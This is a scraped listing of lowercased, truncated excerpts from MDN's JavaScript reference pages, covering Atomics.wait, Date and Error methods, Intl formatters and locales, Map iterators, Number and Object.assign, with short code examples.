new value (123). atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stor...
...edarraybuffer(1024); const int32 =
new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0. as long as that is true, it will not go on. however, once the writing thread has stored a
new value, it will be notified by the writing thread and return the
new value (123). atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a
new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.wait' in that specification. ...
Date.prototype.getDay() - JavaScript
request. syntax dateobj.getday() return value an integer number, between 0 and 6, corresponding to the day of the week for the given date, according to local time: 0 for sunday, 1 for monday, 2 for tuesday, and so on. examples using getday() the second statement below assigns the value 1 to weekday, based on the value of the date object xmas95. december 25, 1995, is a monday. ...
...t xmas95. december 25, 1995, is a monday. var xmas95 =
new date('december 25, 1995 23:15:30'); var weekday = xmas95.getday(); console.log(weekday); // 1 note: if needed, the full name of a day ("monday" for example) can be obtained by using intl.datetimeformat with an options parameter. using this method, the internationalization is made easier: var options = { weekday: 'long'}; console.log(
new intl.datetimeformat('en-us', options).format(xmas95)); // monday console.log(
new intl.datetimeformat('de-de', options).format(xmas95)); // montag specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getday' in that specification. ...
Date.prototype.getMonth() - JavaScript
tive-examples and send us a pull request. syntax dateobj.getmonth() return value an integer number, between 0 and 11, representing the month in the given date according to local time. 0 corresponds to january, 1 to february, and so on. examples using getmonth() the second statement below assigns the value 11 to the variable month, based on the value of the date object xmas95. ...
...sed on the value of the date object xmas95. var xmas95 =
new date('december 25, 1995 23:15:30'); var month = xmas95.getmonth(); console.log(month); // 11 note: if needed, the full name of a month ("january" for example) can be obtained by using intl.datetimeformat() with an options parameter. using this method, internationalization is made easier: var options = { month: 'long'}; console.log(
new intl.datetimeformat('en-us', options).format(xmas95)); // december console.log(
new intl.datetimeformat('de-de', options).format(xmas95)); // dezember specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getmonth' in that specification. ...
Date.prototype.getTimezoneOffset() - JavaScript
return value 480 0 -180 the time zone offset returned is the one that applies for the date that it's called on. if the host system is configured for daylight saving, the offset will change depending on the date and time that the date represents and that daylight saving applies. ...
...ts and that daylight saving applies. examples using gettimezoneoffset() // get current timezone offset for host device let x =
new date(); let currenttimezoneoffsetinhours = x.gettimezoneoffset() / 60; // 1 // get timezone offset for international labour day (may 1) in 2016 // be careful, the date() constructor uses 0-indexed months, so may is // represented with 4 (and not 5) let labourday =
new date(2016, 4, 1) let labourdayoffset = labourday.gettimezoneoffset() / 60; specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettimezoneoffset' in that specification. ...
Date.prototype.setFullYear() - JavaScript
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.setfullyear(yearvalue[, monthvalue[, datevalue]]) parameters yearvalue an integer specifying the numeric value of the year, for example, 1995. monthvalue optional. an integer between 0 and 11 representing the months january through december. datevalue optional. an integer between 1 and 31 representing the day of the month. ...
...rned from the getmonth() and getdate() methods are used. if a parameter you specify is outside of the expected range, setfullyear() attempts to update the other parameters and the date information in the date object accordingly. for example, if you specify 15 for monthvalue, the year is incremented by 1 (yearvalue + 1), and 3 is used for the month. examples using setfullyear() var thebigday =
new date(); thebigday.setfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setfullyear' in that specification. ...
Date.prototype.toString() - JavaScript
"lint" right bracket, i.e. ")" e.g. "sat sep 01 2018 14:53:26 gmt+1400 (lint)" until ecmascript 2018 (edition 9), the format of the string returned by date.prototype.tostring was implementation dependent. therefore it should not be relied upon to be in the specified format. the tostring() method is automatically called when a date is to be represented as a text value, e.g. console.log(
new date()), or when a date is used in a string concatenation, such as var today = 'today is ' +
new date(). tostring() is a generic method, it does not require that its this is a date instance. however, it must have an internal [[timevalue]] property that can't be constructed using native javascript, so it's effectively limited to use with date instances. if called on a non–date instance, a typee...
...eneric method, it does not require that its this is a date instance. however, it must have an internal [[timevalue]] property that can't be constructed using native javascript, so it's effectively limited to use with date instances. if called on a non–date instance, a typeerror is thrown. examples using tostring() the following assigns the tostring() value of a date object to myvar: var x =
new date(); var myvar = x.tostring(); // assigns a string value to myvar in the same format as: // mon sep 08 1998 14:36:22 gmt-0700 (pdt) specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tostring' in that specification. ...
Error() constructor - JavaScript
the error constructor creates an error object. syntax
new error([message[, filename[, linenumber]]]) parameters messageoptional a human-readable description of the error. filename optional the value for the filename property on the created error object. defaults to the name of the file containing the code that called the error() constructor. linenumber optional the value for the linenumber property on the created error object. defaults to the line number containing the error() constructor invocation. examples function call or
new construction when error is used like a function -- without
new, it will return an error object. therefore, a mere call to error will produce the same output that constructing an error object via the
new keyword would. // this... const x = error('i ...
...or invocation. examples function call or
new construction when error is used like a function -- without
new, it will return an error object. therefore, a mere call to error will produce the same output that constructing an error object via the
new keyword would. // this... const x = error('i was created using a function call!') // ...has the same functionality as this. const y =
new error('i was constructed via the "
new" keyword!') specifications specification ecmascript (ecma-262)the definition of 'error constructor' in that specification. ...
Error.prototype.toString() - JavaScript
ect. syntax e.tostring() return value a string representing the specified error object. description the error object overrides the object.prototype.tostring() method inherited by all objects. ...
...e strict'; var obj = object(this); if (obj !== this) { throw
new typeerror(); } var name = this.name; name = (name === undefined) ? 'error' : string(name); var msg = this.message; msg = (msg === undefined) ? ...
EvalError() constructor - JavaScript
the evalerror constructor creates a
new error regarding the global eval() function. this exception is not thrown by javascript anymore, however the evalerror object remains for compatibility. syntax
new evalerror([message[, filename[, linenumber]]]) parameters message optional. human-readable description of the error filename optional. the name of the file containing the code that caused the exception linenumber optional. the line number of the code that caused the exception examples evalerror is not used in the current ecmascript specification and will thus not be thrown by the runtime. however, the object itself remains for backwards compatibility with earlier versions of the specification. ...
... of the file containing the code that caused the exception linenumber optional. the line number of the code that caused the exception examples evalerror is not used in the current ecmascript specification and will thus not be thrown by the runtime. however, the object itself remains for backwards compatibility with earlier versions of the specification. ...
EvalError - JavaScript
instance properties evalerror.prototype.message error message. although ecma-262 specifies that evalerror should provide its own message property, in spidermonkey, it inherits error.prototype.message. evalerror.prototype.name error name. inherited from error. ...
...mber column number in line that raised this error. inherited from error. evalerror.prototype.stack stack trace. inherited from error. examples evalerror is not used in the current ecmascript specification and will thus not be thrown by the runtime. however, the object itself remains for backwards compatibility with earlier versions of the specification. ...
FinalizationRegistry.prototype.unregister() - JavaScript
be sure to call `release` when you're done with it. * * @param label a label for the `thingy`. */ constructor(label) { // vvvvv−−−−− held value this.#registry.register(this, label, this); // target −−−−−^^^^...
...be sure to call `release` when you're done with it. * * @param filename the name of the file. */ constructor(filename) { this.#file = file.open(filename); // vvvvv−−−−− held value this.#registry.register(this, ...
Function.prototype.call() - JavaScript
d will be replaced with the global object, and primitive values will be converted to objects. arg1, arg2, ...argn optional arguments for the function. return value the result of calling the function with the specified this value and arguments. description the call() allows for a function/method belonging to one object to be assigned and called for a different object. call() provides a
new value of this to the function/method. with call(), you can write a method once and then inherit it in another object, without having to rewrite the method for the
new object. note: while the syntax of this function is almost identical to that of apply(), the fundamental difference is that call() accepts an argument list, while apply() accepts a single array of arguments. examples using call ...
... this, name, and price. product initializes the properties name and price, both specialized functions define the category. function product(name, price) { this.name = name; this.price = price; } function food(name, price) { product.call(this, name, price); this.category = 'food'; } function toy(name, price) { product.call(this, name, price); this.category = 'toy'; } const cheese =
new food('feta', 5); const fun =
new toy('robot', 40); using call to invoke an anonymous function in this example, we create an anonymous function and use call to invoke it on every object in an array. the main purpose of the anonymous function here is to add a print function to every object, which is able to print the correct index of the object in the array. passing the object as this value i...
Intl.Collator() constructor - JavaScript
the intl.collator object is a constructor for collators, objects that enable language sensitive string comparison. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new intl.collator([locales[, options]]) parameters locales optional. a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. the following unicode extension keys are allowed: co variant collations for certain locales. possible values include: "big5han", "dict", "direct", "ducet", "gb2312", "phonebk", "phonetic", "pinyin", "reformed", "search...
... "false". this option can be set through an options property or through a unicode extension key; if both are provided, the options property takes precedence. implementations are not required to support this property. examples using collator the following example demonstrates the different potential results for a string occurring before, after, or at the same level as another: console.log(
new intl.collator().compare('a', 'c')); // → a negative value console.log(
new intl.collator().compare('c', 'a')); // → a positive value console.log(
new intl.collator().compare('a', 'a')); // → 0 note that the results shown in the code above can vary between browsers and browser versions. this is because the values are implementation-specific. that is, the specification requires only that the ...
Intl.Collator.prototype.compare() - JavaScript
ring1 comes before string2; a positive value if string1 comes after string2; 0 if they are considered equal. examples using compare for array sort use the compare getter function for sorting arrays. note that the function is bound to the collator from which it was obtained, so it can be passed directly to array.prototype.sort(). ...
...ay.prototype.sort(). var a = ['offenbach', 'Österreich', 'odenwald']; var collator =
new intl.collator('de-u-co-phonebk'); a.sort(collator.compare); console.log(a.join(', ')); // → "odenwald, Österreich, offenbach" using compare for array search use the compare getter function for finding matching strings in arrays: var a = ['congrès', 'congres', 'assemblée', 'poisson']; var collator =
new intl.collator('fr', { usage: 'search', sensitivity: 'base' }); var s = 'congres'; var matches = a.filter(v => collator.compare(v, s) === 0); console.log(matches.join(', ')); // → "congrès, congres" specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.collator.prototype.compare' in that specification. ...
Intl.DateTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.datetimeformat.prototype.resolvedoptions() method returns a
new object with properties reflecting the locale and date and time formatting options computed during initialization of this datetimeformat object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax datetimeformat.resolvedoptions() return value a
new object with properties reflecting the locale and date and time formatting options computed during the initialization of the given datetimeformat object. description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. if any unico...
...ues resulting from format matching between the corresponding properties in the options argument and the available combinations and representations for date-time formatting in the selected locale. some of these properties may not be present, indicating that the corresponding components will not be represented in formatted output. ...
Intl.DisplayNames() constructor - JavaScript
the intl.displaynames() constructor creates objects that enables the consistent translation of language, region and script display names. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new intl.displaynames([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings. for the general form and interpretation of the locales argument, see the intl page. the following unicode extension key is allowed: nu the numbering system to be used. possible values include: "arab", "arabext", "bali", "beng", "deva", "fullwide", "gujr", "guru", "hanidec", ...
..."narrow" "short" "long" type the type to use, the default is "language". "language" "region" "script" "currency" fallback the fallback to use, the default is "code". "code" "none" examples basic usage in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. console.log((
new intl.displaynames()).of('us')); // expected output: 'us' specifications specification intl.displaynamesthe definition of 'the intl.displaynames constructor' in that specification. ...
Intl.DisplayNames.prototype.of() - JavaScript
subsequence of the unicode_language_id grammar in uts 35's unicode language and locale identifiers grammar. languagecode is either a two letters iso 639-1 language code or a three letters iso 639-2 language code. if the type is "currency", code should be a 3-letter iso 4217 currency code. return value a language-specific formatted string. ...
...uagecode is either a two letters iso 639-1 language code or a three letters iso 639-2 language code. if the type is "currency", code should be a 3-letter iso 4217 currency code. return value a language-specific formatted string. examples using the of method let regionnames =
new intl.displaynames(['en'], {type: 'region'}); regionnames.of('419'); // "latin america" let languagenames =
new intl.displaynames(['en'], {type: 'language'}); languagenames.of('fr'); // "french" let currencynames =
new intl.displaynames(['en'], {type: 'currency'}); currencynames.of('eur'); // "euro" specifications specification intl.displaynamesthe definition of 'of()' in that specification. ...
Intl.DisplayNames.prototype.resolvedOptions() - JavaScript
syntax displaynames.resolvedoptions() return value an object with properties reflecting the locale and formatting options computed during the construction of the given displaynames object. description the object returned by resolvedoptions() has the following properties: locale the bcp 47 language tag for the locale actually used. ...
... the value provided for this property in the options argument of the constructor or the default value ("language"). its value is either "language", "region", "script", or "currency". fallback the value provided for this property in the options argument of the constructor or the default value ("code"). its value is either "code" or "none". ...
Intl.ListFormat.prototype.format() - JavaScript
atted based on parameters provided in the intl.listformat object. the locales and options parameters customize the behavior of format() and let applications specify the language conventions that should be used to format the list. examples using format the following example shows how to create a list formatter using the english language. ...
...format() and let applications specify the language conventions that should be used to format the list. examples using format the following example shows how to create a list formatter using the english language. const list = ['motorcycle', 'bus', 'car']; console.log(
new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(
new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(
new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification intl.listformatthe definition of 'format()' in that specification. ...
Intl.ListFormat.prototype.resolvedOptions() - JavaScript
syntax listformat.resolvedoptions() return value an object with properties reflecting the locale and formatting options computed during the construction of the given listformat object. description the object returned by resolvedoptions() has the following properties: locale the bcp 47 language tag for the locale actually used. ...
...lue provided for this property in the options argument of the constructor or the default value ("long"). its value is either "long", "short", or "narrow". type the value provided for this property in the options argument of the constructor or the default value ("conjunction"). its value is either "conjunction", "disjunction", or "unit". examples using resolvedoptions const delistformatter =
new intl.listformat("de-de", { style: "short" }); const usedoptions = de.resolvedoptions(); console.log(usedoptions.locale); // "de-de" console.log(usedoptions.style); // "short" console.log(usedoptions.type); // "conjunction" (the default value) specifications specification intl.listformatthe definition of 'resolvedoptions()' in that specification. ...
Intl.Locale() constructor - JavaScript
the intl.locale constructor is a standard built-in property of the intl object that represents a unicode locale identifier. syntax
new intl.locale(tag [, options]) parameters tag the unicode locale identifier string. options an object that contains configuration for the locale. keys are unicode locale tags, values are valid unicode tag values. examples basic usage at its very simplest, the intl.locale constructor takes a locale identifier string as its argument: let us =
new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types. for example, set the hourcycle property of the configuration object to your desired hour cycle type, and then ...
...dentifier string as its argument: let us =
new intl.locale('en-us'); using the locale constructor with an options object the constructor also takes an optional configuration object argument, which can contain any of several extension types. ...
Intl.Locale.prototype.calendar - JavaScript
and are added to locale identifiers by using the -u extension. thus, the calendar era type can be added to the inital locale identifier string that is passed into the intl.locale constructor. to add the calendar type, first add the -u extension to the string. next, add the -ca extension to indicate that you are adding a calendar type. finally, add the calendar era to the string. let frbuddhist =
new intl.locale("fr-fr-u-ca-buddhist"); console.log(frbuddhist.calendar); // prints "buddhist" adding a calendar with a configuration object the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including calendars. set the calendar property of the configuration object to your desired calendar era, and then pass it into the cons...
...ddhist"); console.log(frbuddhist.calendar); // prints "buddhist" adding a calendar with a configuration object the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including calendars. set the calendar property of the configuration object to your desired calendar era, and then pass it into the constructor. let frbuddhist =
new intl.locale("fr-fr", {calendar: "buddhist"}); console.log(frbuddhist.calendar); // prints "buddhist" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.caseFirst - JavaScript
ocale identifiers by using the -u extension key. thus, the casefirst value can be added to the inital locale identifier string that is passed into the locale constructor. to add the casefirst value, first add the -u extension key to the string. next, add the -kf extension key to indicate that you are adding a value for casefirst. finally, add the casefirst value to the string. let casefirststr =
new intl.locale("fr-latn-fr-u-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the casefirst property of the configuration object to your desired casefirst value, and then pass it into the constr...
...-kf-upper"); console.log(casefirststr.casefirst); // prints "upper" setting the casefirst value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the casefirst property of the configuration object to your desired casefirst value, and then pass it into the constructor. let casefirstobj=
new intl.locale("en-latn-us", {casefirst: "lower"}); console.log(us12hour.casefirst); // prints "lower" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.collation - JavaScript
locale, and are added to locale identifiers by using the -u extension. thus, the collation type can be added to the inital locale identifier string that is passed into the locale constructor. to add the collation type, first add the -u extension to the string. next, add the -co extension to indicate that you are adding a collation type. finally, add the collation to the string. let stringcoll =
new intl.locale("en-latn-us-u-co-emoji"); console.log(stringcoll.collation); // prints "emoji" adding a collation type via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including collation types. set the collation property of the configuration object to your desired collation type, and ...
...ringcoll.collation); // prints "emoji" adding a collation type via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including collation types. set the collation property of the configuration object to your desired collation type, and then pass it into the constructor. let configcoll =
new intl.locale("en-latn-us", {collation: "emoji"}); console.log(configcoll.collation); // prints "emoji" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.hourCycle - JavaScript
e added to locale identifiers by using the -u extension key. thus, the hour cycle type can be added to the inital locale identifier string that is passed into the locale constructor. to add the hour cycle type, first add the -u extension key to the string. next, add the -hc extension key to indicate that you are adding an hour cycle. finally, add the hour cycle type to the string. let fr24hour =
new intl.locale("fr-fr-u-hc-h23"); console.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types. set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it ...
...e.log(fr24hour.hourcycle); // prints "h23" adding an hour cycle via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can contain any of several extension types, including hour cycle types. set the hourcycle property of the configuration object to your desired hour cycle type, and then pass it into the constructor. let us12hour =
new intl.locale("en-us", {hourcycle: "h12"}); console.log(us12hour.hourcycle); // prints "h12" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.language - JavaScript
ictly the locale's language subtag. examples setting the language in the locale identifer string argument in order to be a valid unicode locale identifier, a string must start with the language subtag. the main argument to the locale constructor must be a valid unicode locale identifier, so whenever the constructor is used, it must be passed an identifier with a language subtag. ...
...entifier, so whenever the constructor is used, it must be passed an identifier with a language subtag. let langstr =
new intl.locale("en-latn-us"); console.log(langstr.language); // prints "en" overriding language via the configuration object while the language subtag must be specified, the locale constructor takes a configuration object, which can override the language subtag. ...
Intl.Locale.prototype.numeric - JavaScript
cale constructor. to set the numeric value, first add the -u extension key to the string. next, add the -kn extension key to indicate that you are adding a value for numeric. finally, add the numeric value to the string. if you want to set numeric to true, simply adding the kn key will suffice. to set the value to false, you must specify in by adding "false" after the kn key. let numericviastr =
new intl.locale("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the numeric property of the configuration object to your desired numeric value and pass it into the constructor. let nume...
...e("fr-latn-fr-u-kn-false"); console.log(numericstr.numeric); // prints "false" setting the numeric value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types. set the numeric property of the configuration object to your desired numeric value and pass it into the constructor. let numericviaobj=
new intl.locale("en-latn-us", {numeric: true}); console.log(us12hour.numeric); // prints "true" specifications specification ecmascript internationalization api (ecma-402) ...
Intl.Locale.prototype.region - JavaScript
ir sites and applications is correctly displayed when viewed from different areas of the world. examples setting the region in the locale identifer string argument the region is the third part of a valid unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the locale constructor. ...
...et by adding it to the locale identifier string that is passed into the locale constructor. the region is a mandatory part of a let regionstr =
new intl.locale("en-latn-us"); console.log(regionstr.region); // prints "us" setting the region via the configuration object the locale constructor takes a configuration object, which can be used to set the region subtag and property. ...
Intl.Locale.prototype.script - JavaScript
ible, in order to have a complete unicode language identifier. examples setting the script in the locale identifer string argument the script is the second part of a valid unicode language identifier string, and can be set by adding it to the locale identifier string that is passed into the locale constructor. note that the script is not a required part of a locale identifier. ...
...tifier string that is passed into the locale constructor. note that the script is not a required part of a locale identifier. let scriptstr =
new intl.locale("en-latn-us"); console.log(scriptstr.script); // prints "latn" setting the script via the configuration object the locale constructor takes a configuration object, which can be used to set the script subtag and property. ...
Intl.NumberFormat.prototype.resolvedOptions() - JavaScript
the intl.numberformat.prototype.resolvedoptions() method returns a
new object with properties reflecting the locale and number formatting options computed during initialization of this numberformat object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax numberformat.resolvedoptions() return value a
new object with properties reflecting the locale and number formatting options computed during the initialization of the given numberformat object. description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. if any unicode extension values we...
...y if neither minimumsignificantdigits nor maximumsignificantdigits was provided in the options argument. minimumsignificantdigits maximumsignificantdigits the values provided for these properties in the options argument or filled in as defaults. these properties are present only if at least one of them was provided in the options argument. ...
Intl.PluralRules.select() - JavaScript
ntax pluralcategory = pluralrule.select(number) parameters number the number to get a plural rule for. return value a string representing the pluralization category of the number, can be one of zero, one, two, few, many or other. description this function selects a pluralization category according to the locale and formatting options of a pluralrules object. ...
...ters number the number to get a plural rule for. return value a string representing the pluralization category of the number, can be one of zero, one, two, few, many or other. description this function selects a pluralization category according to the locale and formatting options of a pluralrules object. examples using select()
new intl.pluralrules('ar-eg').select(0); // → 'zero'
new intl.pluralrules('ar-eg').select(1); // → 'one'
new intl.pluralrules('ar-eg').select(2); // → 'two'
new intl.pluralrules('ar-eg').select(6); // → 'few'
new intl.pluralrules('ar-eg').select(18); // → 'many' specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl.pluralrules.select()' in that specification. ...
Intl.RelativeTimeFormat.prototype.format() - JavaScript
ction returned by the format getter formats a value and a unit into a string according to the locale and formatting options of this intl.relativetimeformat object. examples basic format usage the following example shows how to create a relative time formatter using the english language. // create a relative time formatter in your locale // with default values explicitly passed in. const rtf =
new intl.relativetimeformat("en", { localematcher: "best fit", // other values: "lookup" numeric: "always", // other values: "auto" style: "long", // other values: "short" or "narrow" }); // format relative time using negative value (-1). rtf.format(-1, "day"); // > "1 day ago" // format relative time using positive value (1). rtf.format(1, "day"); // > "in 1 day" using the auto optio...
...relative time using positive value (1). rtf.format(1, "day"); // > "in 1 day" using the auto option if numeric:auto option is passed, it will produce the string yesterday or tomorrow instead of 1 day ago or in 1 day. this allows to not always have to use numeric values in the output. // create a relative time formatter in your locale // with numeric: "auto" option value passed in. const rtf =
new intl.relativetimeformat("en", { numeric: "auto" }); // format relative time using negative value (-1). rtf.format(-1, "day"); // > "yesterday" // format relative time using positive day unit (1). rtf.format(1, "day"); // > "tomorrow" specifications specification status comment ecmascript internationalization api (ecma-402)the definition of 'relativetimeformat.format()...
Intl.RelativeTimeFormat.prototype.resolvedOptions() - JavaScript
the intl.relativetimeformat.prototype.resolvedoptions() method returns a
new object with properties reflecting the locale and relative time formatting options computed during initialization of this relativetimeformat object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax relativetimeformat.resolvedoptions() return value a
new object with properties reflecting the locale and number formatting options computed during the initialization of the given relativetimeformat object. description the resulting object has the following properties: locale the bcp 47 language tag for the locale actually used. if ...
...yle for some locales. numeric the format of output message. possible values are: "always" (default, e.g., 1 day ago), or "auto" (e.g., yesterday). the "auto" value allows to not always have to use numeric values in the output. numberingsystem the value requested using the unicode extension key "nu" or filled in as a default. ...
Intl - JavaScript
ed by all language sensitive constructors and functions: the localematcher property, whose value must be a string "lookup" or "best fit" and which selects one of the locale matching algorithms described above. ...
...cher property, whose value must be a string "lookup" or "best fit" and which selects one of the locale matching algorithms described above. examples formatting dates and numbers you can use intl to format dates and numbers in a form that's conventional for a specific language and region: const count = 26254.39; const date =
new date("2012-05-24"); function log(locale) { console.log( `${
new intl.datetimeformat(locale).format(date)} ${
new intl.numberformat(locale).format(count)}` ); } log("en-us"); // expected output: 5/24/2012 26,254.39 log("de-de"); // expected output: 24.5.2012 26.254,39 specifications specification ecmascript internationalization api (ecma-402)the definition of 'intl' in that specification. ...
Map.prototype[@@iterator]() - JavaScript
method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap[symbol.iterator] return value the map iterator function, which is the entries() function by default. ...
...the entries() function by default. ...
Map.prototype.entries() - JavaScript
the entries() method returns a
new iterator object that contains the [key, value] pairs for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.entries() return value a
new map iterator object. ...
...lue] pairs for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.entries() return value a
new map iterator object. examples using entries() let mymap =
new map() mymap.set('0', 'foo') mymap.set(1, 'bar') mymap.set({}, 'baz') let mapiter = mymap.entries() console.log(mapiter.next().value) // ["0", "foo"] console.log(mapiter.next().value) // [1, "bar"] console.log(mapiter.next().value) // [object, "baz"] specifications specification ecmascript (ecma-262)the definition of 'map.prototype.entries' in that specification. ...
Map.prototype.forEach() - JavaScript
this value. otherwise, the value undefined will be passed for use as its this value. the this value ultimately observable by callback is determined according to the usual rules for determining the this seen by a function. each value is visited once, except in the case when it was deleted and re-added before foreach has finished. callback is not invoked for values deleted before being visited. ...
...ore being visited.
new values added before foreach has finished will be visited. foreach executes the callback function once for each element in the map object. it does not return a value. examples printing the contents of a map object the following code logs a line for each element in an map object: function logmapelements(value, key, map) { console.log(`map.get('${key}') = ${value}`) }
new map([['foo', 3], ['bar', {}], ['baz', undefined]]).foreach(logmapelements) // logs: // "map.get('foo') = 3" // "map.get('bar') = [object object]" // "map.get('baz') = undefined" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.foreach' in that specification. ...
Map.prototype.keys() - JavaScript
the keys() method returns a
new iterator object that contains the keys for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.keys() return value a
new map iterator object. ...
...ontains the keys for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.keys() return value a
new map iterator object. examples using keys() var mymap =
new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.keys(); console.log(mapiter.next().value); // "0" console.log(mapiter.next().value); // 1 console.log(mapiter.next().value); // object specifications specification ecmascript (ecma-262)the definition of 'map.prototype.keys' in that specification. ...
Map.prototype.values() - JavaScript
the values() method returns a
new iterator object that contains the values for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.values() return value a
new map iterator object. ...
...s the values for each element in the map object in insertion order. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax mymap.values() return value a
new map iterator object. examples using values() var mymap =
new map(); mymap.set('0', 'foo'); mymap.set(1, 'bar'); mymap.set({}, 'baz'); var mapiter = mymap.values(); console.log(mapiter.next().value); // "foo" console.log(mapiter.next().value); // "bar" console.log(mapiter.next().value); // "baz" specifications specification ecmascript (ecma-262)the definition of 'map.prototype.values' in that specification. ...
Number - JavaScript
s a function, number(value) converts a string or other value to the number type. if the value can't be converted, it returns nan. literal syntax 123 // one-hundred twenty-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 // true number("unicorn") // nan number(undefined) // nan constructor number() creates a
new number value. static properties number.epsilon the smallest interval between two representable numbers. number.max_safe_integer the maximum safe integer in javascript (253 - 1). number.max_value the largest positive representable number. number.min_safe_integer the minimum safe integer in javascript (-(253 - 1)). number.min_value the smallest positive representable number—that is,...
... serialized to json, integer values falling outside of this range can be expected to become corrupted when json parser coerces them to number type. a possible workaround is to use string instead. larger numbers can be represented using the bigint type. using number to convert a date object the following example converts the date object to a numerical value using number as a function: let d =
new date('december 17, 1995 03:24:00') console.log(number(d)) this logs 819199440000. convert numeric strings and null to numbers number('123') // 123 number('123') === 123 /// true number('12.3') // 12.3 number('12.00') // 12 number('123e-1') // 12.3 number('') // 0 number(null) // 0 number('0x11') // 17 number('0b11') // 3 number('0o11') // 9 number('foo') // ...
Object.assign() - JavaScript
get object are overwritten by properties in the sources if they have the same key. later sources' properties overwrite earlier ones. the object.assign() method only copies enumerable and own properties from a source object to a target object. it uses [[get]] on the source and [[set]] on the target, so it will invoke getters and setters. therefore it assigns properties, versus copying or defining
new properties. this may make it unsuitable for merging
new properties into a prototype if the merge sources contain getters. for copying property definitions (including their enumerability) into prototypes, use object.getownpropertydescriptor() and object.defineproperty() instead. both string and symbol properties are copied. in case of an error, for example if a property is non-writable, a typee...
... polyfill doesn't support symbol properties, since es5 doesn't have symbols anyway: if (typeof object.assign !== 'function') { // must be writable: true, enumerable: false, configurable: true object.defineproperty(object, "assign", { value: function assign(target, varargs) { // .length of function is 2 'use strict'; if (target === null || target === undefined) { throw
new typeerror('cannot convert undefined or null to object'); } var to = object(target); for (var index = 1; index < arguments.length; index++) { var nextsource = arguments[index]; if (nextsource !== null && nextsource !== undefined) { for (var nextkey in nextsource) { // avoid bugs when hasownproperty is shadowed if (object.protot...
Object.fromEntries() - JavaScript
